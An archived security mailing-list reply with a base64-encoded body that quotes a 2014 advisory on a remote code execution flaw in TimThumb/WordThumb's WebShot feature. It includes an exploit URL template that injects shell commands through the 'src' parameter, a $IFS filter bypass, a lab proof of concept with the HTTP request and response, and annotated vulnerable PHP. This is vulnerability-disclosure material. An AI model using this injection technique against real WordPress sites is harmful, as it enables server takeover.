Re: [FD] Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day)
Ryan Dewhurst <[email protected]> Tue, 24 Jun 2014 21:12:26 +0200
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.full-disclosure |
|---|---|
| Message-ID | <CAHw3cgRRFobdH_jcwFVMRMhDrFwJt9owmb8d1K7GzOc55aEOsQ@mail.gmail.com> |
Tm90IGhhZCBjaGFuY2UgdG8gbG9vayBpbnRvIGl0IGluIGFueSBkZXB0aCBidXQgeW91IHNhaWQg dGhhdCB3ZWJzaG90IG5lZWRzCnRvIGJlIGVuYWJsZWQgZm9yIHRoZSBleHBsb2l0IHRvIHdvcmsg YW5kIHlvdSBhbHNvIHNhaWQgdGhhdAp0aGUgd29yZHByZXNzLWdhbGxlcnktcGx1Z2luIHdhcyB2 dWxuZXJhYmxlLgoKTG9va2luZyBhdCB3b3JkcHJlc3MtZ2FsbGVyeS1wbHVnaW4ncyByZXBvc2l0 b3J5IGl0IHNlZW1zIHdlYnNob3QgaXMKZGlzYWJsZWQgaW4gdGhlaXIgdGltcmh1bWIgZmlsZToK Cmh0dHBzOi8vZ2l0aHViLmNvbS93cC1wbHVnaW5zL3dvcmRwcmVzcy1nYWxsZXJ5LXBsdWdpbi9i bG9iLzM3ZTYwZDViN2ZkMWVkMzc3OWI4MjYxOGM1MDk4ZDQ1OWJjOGMwNTYvdGltdGh1bWIucGhw I0wxMTQKClF1aWNrIHNlYXJjaCBvbiBHaXRodWIgZm9yIHRoZSBXRUJTSE9UX0VOQUJMRUQgY29u c3RhbnQgYmVpbmcgc2V0IHRvIHRydWUKZG9lc24ndCB5aWVsZCBtYW55IHJlc3VsdHM6CgpodHRw czovL2dpdGh1Yi5jb20vc2VhcmNoP3E9JTIyZGVmaW5lKyUyOCUyN1dFQlNIT1RfRU5BQkxFRCUy NyUyQyt0cnVlJTI5JTNCJTIyJnR5cGU9Q29kZSZyZWY9c2VhcmNocmVzdWx0cwoKSSB3b25kZXIg aG93IG1hbnkgV29yZFByZXNzICdhc3NldHMnIChwbHVnaW5zL3RoZW1lcykgYXJlIGFmZmVjdGVk IGJ5IHRoaXMuCgoKT24gVHVlLCBKdW4gMjQsIDIwMTQgYXQgMTA6MjQgQU0sIFBpY2hheWEgTW9y aW1vdG8gPHBpY2hheWFAaWVlZS5vcmc+IHdyb3RlOgoKPiAtLS0tLUJFR0lOIFBHUCBTSUdORUQg TUVTU0FHRS0tLS0tCj4gSGFzaDogU0hBNTEyCj4KPiAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCj4gIyAgXyAgICAg X19fICBfICAgXyAgX19fXyAgX19fXyAgICBfICBfX19fXwo+ICMgIHwgfCAgIC8gXyBcfCBcIHwg fC8gX19ffC8gX19ffCAgLyBcfF8gICBffAo+ICMgIHwgfCAgfCB8IHwgfCAgXHwgfCB8ICBffCB8 ICAgICAvIF8gXCB8IHwKPiAjICB8IHxfX3wgfF98IHwgfFwgIHwgfF98IHwgfF9fXyAvIF9fXyBc fCB8Cj4gIyAgfF9fX19fXF9fXy98X3wgXF98XF9fX198XF9fX18vXy8gICBcX1xffAo+ICMKPiAj IFdvcmRwcmVzcyBUaW1UaHVtYiAyLjguMTMgV2ViU2hvdCBSZW1vdGUgQ29kZSBFeGVjdXRpb24g KDAtZGF5KQo+ICMgQWZmZWN0ZWQgd2Vic2l0ZSA6IGEgbG90IFdvcmRwcmVzcyBUaGVtZXMsIFBs dWdpbnMsIDNyZCBwYXJ0eSBjb21wb25lbnRzCj4gIyBFeHBsb2l0IEF1dGhvciA6IEB1MHggKFBp Y2hheWEgTW9yaW1vdG8pCj4gIyBSZWxlYXNlIGRhdGVzIDogSnVuZSAyNCwgMjAxNAo+ICMKPiAj IFNwZWNpYWwgVGhhbmtzIHRvIDI2MDAgVGhhaWxhbmQgZ3JvdXAKPiAjIDogWGVsZW5vbnosIGFu aWRlYXIsIHdpbmRvd3M5OHNlLCBpY2hlZXJub29tLCB3NHgwciwgcGlzdGFjaGlvCj4gIyBodHRw czovL3d3dy5mYWNlYm9vay5jb20vZ3JvdXBzLzI2MDBUaGFpbGFuZC8gLCBodHRwOi8vMjYwMC5p bi50aC8KPiAjCj4gIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCj4KPiBbK10gRGVzY3JpcHRpb24KPiA9PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KPiBU aW1UaHVtYiBpcyBhIHNtYWxsIHBocCBzY3JpcHQgZm9yIGNyb3BwaW5nLCB6b29taW5nIGFuZCBy ZXNpemluZyB3ZWIKPiBpbWFnZXMgKGpwZywgcG5nLCBnaWYpLiBQZXJmZWN0IGZvciB1c2Ugb24g YmxvZ3MgYW5kIG90aGVyIGFwcGxpY2F0aW9ucy4KPiBEZXZlbG9wZWQgZm9yIHVzZSBpbiB0aGUg V29yZFByZXNzIHRoZW1lIE1pbWJvIFBybywgYW5kIHNpbmNlIHVzZWQgaW4gbWFueQo+IG90aGVy IFdvcmRQcmVzcyB0aGVtZXMuCj4KPiBodHRwOi8vd3d3LmJpbmFyeW1vb24uY28udWsvcHJvamVj dHMvdGltdGh1bWIvCj4gaHR0cHM6Ly9jb2RlLmdvb2dsZS5jb20vcC90aW10aHVtYi8KPgo+IFRo ZSBvcmlnaW5hbCBwcm9qZWN0ICBXb3JkVGh1bWIgMS4wNyBhbHNvIHZ1bG5lcmFibGUgKAo+IGh0 dHBzOi8vY29kZS5nb29nbGUuY29tL3Avd29yZHRodW1iLykKPiBUaGV5IGJvdGggc2hhcmVkIGV4 YWN0bHkgdGhlIHNhbWUgV2ViU2hvdCBjb2RlISBBbmQgdGhlcmUgYXJlIHNldmVyYWwKPiBwcm9q ZWN0cyB0aGF0IHNoaXBwZWQgd2l0aCAidGltdGh1bWIucGhwIiwgc3VjaCBhcywKPiBXb3JkcHJl c3MgR2FsbGVyeSBQbHVnaW4KPiBodHRwczovL3dvcmRwcmVzcy5vcmcvcGx1Z2lucy93b3JkcHJl c3MtZ2FsbGVyeS1wbHVnaW4vCj4gSUdJVCBQb3N0cyBTbGlkZXIgV2lkZ2V0Cj4gaHR0cDovL3dv cmRwcmVzcy5vcmcvcGx1Z2lucy9pZ2l0LXBvc3RzLXNsaWRlci13aWRnZXQvCj4KPiBBbGwgdGhl bWVzIGZyb20gaHR0cDovL3RoZW1pZnkubWUvIGNvbnRhaW5zIHZ1bG5lcmFibGUgIndvcmR0aHVt YiIgaW4KPiAiPHRoZW1lLW5hbWU+L3RoZW1pZnkvaW1nLnBocCIuCj4KPiBbK10gRXhwbG9pdAo+ ID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PQo+IGh0dHA6Ly8KPgo+IDx3cC13ZWJzaXRlPi93cC1jb250ZW50L3RoZW1lcy88d3AtdGhl bWU+L3BhdGgvdG8vdGltdGh1bWIucGhwP3dlYnNob3Q9MSZzcmM9aHR0cDovLwo+IDx3cC13ZWJz aXRlPiQoPG9zLWNtZHM+KQo+Cj4gKiogTm90ZSB0aGF0IE9TIGNvbW1hbmRzIHBheWxvYWQgTVVT VCBiZSB3aXRoaW4gZm9sbG93aW5nIGNoYXJhY3RlciBzZXRzOgo+IFtBLVphLXowLTlcLVwuXF9c fjpcL1w/XCNcW1xdXEBcIVwkXCZcJ1woXClcKlwrXCxcO1w9XQo+Cj4gKiogU3BhY2VzLCBQaXBl LCBHVCBzaWduIGFyZSBub3QgYWxsb3dlZC4KPiAqKiBUaGlzIFdlYlNob3QgZmVhdHVyZSBpcyBE SVNBQkxFRCBieSBkZWZhdWx0Lgo+ICoqIEN1dHlDYXB0IGFuZCBYVkZCIG11c3QgYmUgaW5zdGFs bGVkIGluIGNvbnN0YW50cy4KPgo+IFsrXSBQcm9vZi1vZi1Db25jZXB0Cj4gPT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Cj4gVGhlcmUg YXJlIGNvdXBsZSB0ZWNobmlxdWVzIHRoYXQgY2FuIGJlIHVzZWQgdG8gYnlwYXNzIGxpbWl0ZWQg Y2hhcnNldHMgYnV0Cj4gSSB3aWxsIHVzZSBhIHNoZWxsIHZhcmlhYmxlICRJRlMgaW5zdGVhZHMg b2Ygc3BhY2UgaW4gdGhpcyBzY2VuYXJpby4KPgo+IFBvQyBFbnZpcm9ubWVudDoKPiBVYnVudHUg MTQuMDQgTFRTCj4gUEhQIDUuNS45Cj4gV29yZHByZXNzIDMuOS4xCj4gVGhlbWlmeSBQYXJhbGxh eCBUaGVtZSAxLjUuMgo+IFdvcmRUaHVtYiAxLjA3Cj4KPiBDcmFmdGVkIEV4cGxvaXQ6Cj4KPiBo dHRwOi8vbG9uY2F0bGFiLmxvY2FsL3dwLWNvbnRlbnQvdGhlbWVzL3BhcmFsbGF4L3RoZW1pZnkv aW1nLnBocD93ZWJzaG90PTEmc3JjPWh0dHA6Ly9sb25jYXRsYWIubG9jYWwvJCh0b3VjaCRJRlMv dG1wL2xvbmdjYXQpCj4KPiBHRVQgL3dwLWNvbnRlbnQvdGhlbWVzL3BhcmFsbGF4L3RoZW1pZnkv aW1nLnBocD93ZWJzaG90PTEmc3JjPQo+IGh0dHA6Ly9sb25nY2F0bGFiLmxvY2FsLyQodG91Y2gk SUZTL3RtcC9sb25nY2F0KSBIVFRQLzEuMQo+IEhvc3Q6IGxvbmdjYXRsYWIubG9jYWwKPiBQcm94 eS1Db25uZWN0aW9uOiBrZWVwLWFsaXZlCj4gQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0wCj4gQWNj ZXB0Ogo+IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9 MC45LGltYWdlL3dlYnAsKi8qO3E9MC44Cj4gVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsg TGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlCj4gR2Vja28pIENo cm9tZS8zNS4wLjE5MTYuMTUzIFNhZmFyaS81MzcuMzYKPiBBY2NlcHQtRW5jb2Rpbmc6IGd6aXAs ZGVmbGF0ZSxzZGNoCj4gQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOAo+IENvb2tpZTog d29vY29tbWVyY2VfcmVjZW50bHlfdmlld2VkPTklN0MxMiU3QzE2Owo+IHdwLXNldHRpbmdzLTE9 bGlicmFyeUNvbnRlbnQlM0Ricm93c2UlMjZlZGl0b3IlM0R0aW55bWNlOwo+IHdwLXNldHRpbmdz LXRpbWUtMT0xNDAzNTA0NTM4OyB0aGVtaWZ5LWJ1aWxkZXItdGFicz1xdWVyeS1wb3J0Zm9saW90 Owo+IHdvcmRwcmVzc190ZXN0X2Nvb2tpZT1XUCtDb29raWUrY2hlY2s7Cj4KPiB3b3JkcHJlc3Nf bG9nZ2VkX2luXzI2Nzc1ODA4YmUyYTE3YjE1Y2Y0M2RmZWUzYTY4MWM5PW1vZGVyYXRvciU3QzE0 MDM3NDc1OTklN0M2MjI0NGNlMzkxOGUyM2RmMWJkMjI0NTBiM2Q3ODY4NQo+Cj4gSFRUUC8xLjEg NDAwIEJhZCBSZXF1ZXN0Cj4gRGF0ZTogVHVlLCAyNCBKdW4gMjAxNCAwNzoyMDo0OCBHTVQKPiBT ZXJ2ZXI6IEFwYWNoZQo+IFgtUG93ZXJlZC1CeTogUEhQLzUuNS45LTF1YnVudHU0Cj4gWC1Db250 ZW50LVR5cGUtT3B0aW9uczogbm9zbmlmZgo+IFgtRnJhbWUtT3B0aW9uczogc2FtZW9yaWdpbgo+ IENvbnRlbnQtTGVuZ3RoOiAzMDU5Cj4gQ29ubmVjdGlvbjogY2xvc2UKPiBDb250ZW50LVR5cGU6 IHRleHQvaHRtbAo+Cj4g4oCmCj4gPGEgaHJlZj0naHR0cDovL3d3dy5waHAubmV0L2Z1bmN0aW9u LmdldGltYWdlc2l6ZScKPiB0YXJnZXQ9J19uZXcnPmdldGltYWdlc2l6ZTwvYT4KPiAoICApPC90 ZD48dGQKPgo+IHRpdGxlPScvdmFyL3d3dy9sb25nY2F0bGFiLmxvY2FsL3B1YmxpY19odG1sL3dw LWNvbnRlbnQvdGhlbWVzL3BhcmFsbGF4L3RoZW1pZnkvaW1nLnBocCcKPiBiZ2NvbG9yPScjZWVl ZWVjJz4uLi9pbWcucGhwPGI+OjwvYj4zODg8L3RkPjwvdHI+Cj4gPC90YWJsZT48L2ZvbnQ+Cj4g PGgxPkEgV29yZFRodW1iIGVycm9yIGhhcyBvY2N1cmVkPC9oMT5UaGUgZm9sbG93aW5nIGVycm9y KHMpIG9jY3VyZWQ6PGJyCj4gLz48dWw+PGxpPlRoZSBpbWFnZSBiZWluZyByZXNpemVkIGlzIG5v dCBhIHZhbGlkIGdpZiwganBnIG9yCj4gcG5nLjwvbGk+PC91bD48YnIgLz48YnIgLz5RdWVyeSBT dHJpbmcgOiB3ZWJzaG90PTEmYW1wO3NyYz0KPiBodHRwOi8vbG9uZ2NhdGxhYi5sb2NhbC8kKHRv dWNoJElGUy90bXAvbG9uZ2NhdCk8YnIgLz5Xb3JkVGh1bWIgdmVyc2lvbiA6Cj4gMS4wNzwvcHJl Pgo+Cj4gRXZlbiBpdCByZXNwb25zZSB3aXRoIGVycm9yIG1lc3NhZ2VzIGJ1dCBpbmplY3RlZCBP UyBjb21tYW5kIGhhcyBhbHJlYWR5Cj4gYmVlbiBleGVjdXRlZC4KPgo+ICQgbHMgL3RtcC9sb25n Y2F0IC1saGEKPiAtIC1ydy1yLS1yLS0gMSB3d3ctZGF0YSB3d3ctZGF0YSAwIOC4oeC4tC7guKIu ICAyNCAxNDoyMCAvdG1wL2xvbmdjYXQKPgo+Cj4gWytdIFZ1bG5lcmFiaWxpdHkgQW5hbHlzaXMK PiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0KPiBodHRwczovL3RpbXRodW1iLmdvb2dsZWNvZGUuY29tL3N2bi90cnVuay90aW10aHVt Yi5waHAKPgo+IEZpbGVuYW1lOiB0aW10aHVtYi5waHAKPgo+IGlmKCEgZGVmaW5lZCgnV0VCU0hP VF9FTkFCTEVEJykgKSBkZWZpbmUgKCdXRUJTSE9UX0VOQUJMRUQnLCB0cnVlKTsKPiBpZighIGRl ZmluZWQoJ1dFQlNIT1RfQ1VUWUNBUFQnKSApIGRlZmluZSAoJ1dFQlNIT1RfQ1VUWUNBUFQnLAo+ ICcvdXNyL2xvY2FsL2Jpbi9DdXR5Q2FwdCcpOwo+IGlmKCEgZGVmaW5lZCgnV0VCU0hPVF9YVkZC JykgKSBkZWZpbmUgKCdXRUJTSE9UX1hWRkInLAo+ICcvdXNyL2Jpbi94dmZiLXJ1bicpOwo+IC4u Lgo+IHRpbXRodW1iOjpzdGFydCgpOyDihpAgc3RhcnQgc2NyaXB0Cj4gLi4uCj4gcHVibGljIHN0 YXRpYyBmdW5jdGlvbiBzdGFydCgpewo+ICR0aW0gPSBuZXcgdGltdGh1bWIoKTsg4oaQIGNyZWF0 ZSB0aW10aHVtYiBvYmplY3QsIGNhbGwgX19jb25zdHJ1Y3QoKQo+IC4uLgo+ICR0aW0tPnJ1bigp Owo+IC4uLgo+IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpewo+IC4uLgo+ICR0aGlzLT5z cmMgPSAkdGhpcy0+cGFyYW0oJ3NyYycpOyDihpAgc2V0ICJzcmMiIHZhcmlhYmxlIHRvIEhUVFAg R0VUICJzcmMiCj4gcGFyYW1ldGVyCj4g4oCmCj4gaWYocHJlZ19tYXRjaCgnL15odHRwcz86XC9c L1teXC9dKy9pJywgJHRoaXMtPnNyYykpewo+IC4uLgo+ICR0aGlzLT5pc1VSTCA9IHRydWU7IOKG kCBwcmVmaXggaHR0cC9zIHJlc3VsdCBpbiBpc1VSTCA9IHRydWUKPiB9Cj4gLi4uCj4KPiBwcm90 ZWN0ZWQgZnVuY3Rpb24gcGFyYW0oJHByb3BlcnR5LCAkZGVmYXVsdCA9ICcnKXsKPiBpZiAoaXNz ZXQgKCRfR0VUWyRwcm9wZXJ0eV0pKSB7Cj4gcmV0dXJuICRfR0VUWyRwcm9wZXJ0eV07Cj4gLi4u Cj4KPiBwdWJsaWMgZnVuY3Rpb24gcnVuKCl7Cj4gaWYoJHRoaXMtPmlzVVJMKXsKPiAuLi4KPiBp ZigkdGhpcy0+cGFyYW0oJ3dlYnNob3QnKSl7IOKGkCBIVFRQIEdFVCAid2Vic2hvdCIgbXVzdCBz dWJtaXR0ZWQKPiBpZihXRUJTSE9UX0VOQUJMRUQpeyDihpAgdGhpcyBwcmUtZGVmaW5lZCBjb25z dGFudCBtdXN0IGJlIHRydWUKPiAuLi4KPiAkdGhpcy0+c2VydmVXZWJzaG90KCk7IOKGkCBjYWxs IHdlYnNob3QgZmVhdHVyZQo+IH0gZWxzZSB7Cj4gLi4uCj4KPiBwcm90ZWN0ZWQgZnVuY3Rpb24g c2VydmVXZWJzaG90KCl7Cj4gLi4uCj4gaWYoISBpc19maWxlKFdFQlNIT1RfQ1VUWUNBUFQpKXsg 4oaQIGNoZWNrIGV4aXN0aW5nIG9mIGN1dHljYXB0Cj4gcmV0dXJuICR0aGlzLT5lcnJvcigiQ3V0 eUNhcHQgaXMgbm90IGluc3RhbGxlZC4gJGluc3RyIik7Cj4gfQo+IGlmKCEgaXNfZmlsZShXRUJT SE9UX1hWRkIpKXsg4oaQIGNoZWNrIGV4aXN0aW5nIG9mIHh2ZmIKPiByZXR1cm4gJHRoaXMtPkVy cm9yKCJYdmZiIGlzIG5vdCBpbnN0YWxsZWQuICRpbnN0ciIpOwo+IH0KPiAuLi4KPiAkdXJsID0g JHRoaXMtPnNyYzsKPiBpZighIHByZWdfbWF0Y2goJy9eaHR0cHM/OlwvXC9bYS16QS1aMC05XC5c LV0rL2knLCAkdXJsKSl7IOKGkCBjaGVjayB2YWxpZAo+IFVSTCAjTG9MCj4gcmV0dXJuICR0aGlz LT5lcnJvcigiSW52YWxpZCBVUkwgc3VwcGxpZWQuIik7Cj4gfQo+ICR1cmwgPQo+IHByZWdfcmVw bGFjZSgnL1teQS1aYS16MC05XC1cLlxfXH46XC9cP1wjXFtcXVxAXCFcJFwmXCdcKFwpXCpcK1ws XDtcPV0rLycsCj4gJycsICR1cmwpOyAg4oaQIGNoZWNrIHZhbGlkIFVSTCBhcyBzcGVjaWZpZWQg aW4gUkZDIDM5ODYKPiBodHRwOi8vd3d3LmlldGYub3JnL3JmYy9yZmMzOTg2LnR4dAo+IC4uLgo+ IGlmKFdFQlNIT1RfWFZGQl9SVU5OSU5HKXsKPiBwdXRlbnYoJ0RJU1BMQVk9OjEwMC4wJyk7Cj4g JGNvbW1hbmQgPSAiJGN1dHkgJHByb3h5IC0tbWF4LXdhaXQ9JHRpbWVvdXQgLS11c2VyLWFnZW50 PVwiJHVhXCIKPiAtLWphdmFzY3JpcHQ9JGpzT24gLS1qYXZhPSRqYXZhT24gLS1wbHVnaW5zPSRw bHVnaW5zT24KPiAtLWpzLWNhbi1vcGVuLXdpbmRvd3M9b2ZmIC0tdXJsPVwiJHVybFwiIC0tb3V0 LWZvcm1hdD0kZm9ybWF0Cj4gLS1vdXQ9JHRlbXBmaWxlIjsg4oaQIE9TIHNoZWxsIGNvbW1hbmQg aW5qZWN0aW9uCj4gfSBlbHNlIHsKPiAkY29tbWFuZCA9ICIkeHYgLS1zZXJ2ZXItYXJncz1cIi1z Y3JlZW4gMCwKPiB7JHNjcmVlblh9eHskc2NyZWVuWX14eyRjb2xEZXB0aH1cIiAkY3V0eSAkcHJv eHkgLS1tYXgtd2FpdD0kdGltZW91dAo+IC0tdXNlci1hZ2VudD1cIiR1YVwiIC0tamF2YXNjcmlw dD0kanNPbiAtLWphdmE9JGphdmFPbiAtLXBsdWdpbnM9JHBsdWdpbnNPbgo+IC0tanMtY2FuLW9w ZW4td2luZG93cz1vZmYgLS11cmw9XCIkdXJsXCIgLS1vdXQtZm9ybWF0PSRmb3JtYXQKPiAtLW91 dD0kdGVtcGZpbGUiOyDihpAgT1Mgc2hlbGwgY29tbWFuZCBpbmplY3Rpb24KPiB9Cj4gLi4uCj4g JG91dCA9IGAkY29tbWFuZGA7ICDihpAgZXhlY3V0ZSAkY29tbWFuZCBhcyBzaGVsbCBjb21tYW5k Cj4KPiAiUEhQIHN1cHBvcnRzIG9uZSBleGVjdXRpb24gb3BlcmF0b3I6IGJhY2t0aWNrcyAoYGAp LiBOb3RlIHRoYXQgdGhlc2UgYXJlCj4gbm90IHNpbmdsZS1xdW90ZXMhIFBIUCB3aWxsIGF0dGVt cHQgdG8gZXhlY3V0ZSB0aGUgY29udGVudHMgb2YgdGhlCj4gYmFja3RpY2tzIGFzIGEgc2hlbGwg Y29tbWFuZC4iIC0KPiBodHRwOi8vd3d3LnBocC5uZXQvL21hbnVhbC9lbi9sYW5ndWFnZS5vcGVy YXRvcnMuZXhlY3V0aW9uLnBocAo+Cj4gIiR1cmwiIGlzIGZhaWxlZCB0byBlc2NhcGUgIiQoKSIg aW4gIiRjb21tYW5kIiB3aGljaCBpcyByZXN1bHQgaW4gYXJiaXRyYXJ5Cj4gY29kZSBleGVjdXRp b24uCj4gLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KPiBWZXJzaW9uOiBHbnVQRyB2MQo+ Cj4gaVFJY0JBRUJDZ0FHQlFKVHFUVHNBQW9KRUIya0hhcGQxWE1VeStjUC8ydWxDUzFSOGJYRGRh N1IwUElmbjlnOQo+IEZFRUNvTEZWMnRhdjFtU25XenVjY3ZXQTN2bDNnOFNVdi9ZN0dDS3M4MjRH VmF1aGNlc3RVVUNwVktkQ1MzR3UKPiA4eXBmWE9kZWNFKzh5a29QaFdmajJGV2NLTnBYVGRDb016 OFR1Z1ZrTk0zK1NTMGFrV1lXcUhlYW1YQ3FjM1NLCj4gWkFpS2ZZUVovanZWUlJvOG4vQUFXWXY1 ZThoWkxtRTZxaUxHZFRGcnNIN1Z0a0FCSU01bGM4OG84cWc2UlU1eAo+IHpnODdraFp4VStIdEpk ek4vZ0gwWDZETDcrTkplNkhPcXVuLytWOHBtLzVKRURVU3BpV1pJTTF4cHlJWTZHcVcKPiBVblUy NVVrU3QxdStQbkxYN0tocXhVQU5VMjMwQlk5Tnk3QklocC9xMWlSdnJLVElISzBXWUVMM005NllP TkQyCj4gK28yWUp0aGZMN3ptOWs4WE1vRjJHUWFhZXFBbldqR21RQzlPbzRvZ0Y1N1gwUXpiMW13 VWQwMWRiL1I1ZmdQZgo+IDlJSUxucFdWMktMcTU3UjNzZFZlc3JpRWhUTlczNENxZjc3d1MzUDVZ NW8yY3NiRkwwT3NwdWxPVlBNMXVKVHAKPiBTMXNqdUVMNWdLM25KcXpvN0syaWh4ZG1tM28yaEE5 UVh5bjhHalRSdTZFU1oyNmhTWmdVRXlDNlAyNnlBdDBZCj4gSUh1cU1MM3k5Z3VDNzIwQmtOb2Mx Z1paTmVqZ3FHSFVkYzZFWHpxTzlualpGeDVEUHREdGYzTTBmNnVaZkgvQwo+IGtuQjlFMzJMbzlF RnUyUy9iamJsZ09RUVVQTnRLUk5VUnBzR0FyeDJlaWxQTWRUaEdMWkFORlBJenZ4WVNscnoKPiBj bnc0dk40dFk4UE9MNUZGNytnRgo+ID1qQUwxCj4gLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0t Cj4KPiBfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwo+IFNl bnQgdGhyb3VnaCB0aGUgRnVsbCBEaXNjbG9zdXJlIG1haWxpbmcgbGlzdAo+IGh0dHA6Ly9ubWFw Lm9yZy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxkaXNjbG9zdXJlCj4gV2ViIEFyY2hpdmVzICYgUlNT OiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLwoKX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX18KU2VudCB0aHJvdWdoIHRoZSBGdWxsIERpc2Ns b3N1cmUgbWFpbGluZyBsaXN0Cmh0dHA6Ly9ubWFwLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxk aXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDovL3NlY2xpc3RzLm9yZy9mdWxsZGlz Y2xvc3VyZS8=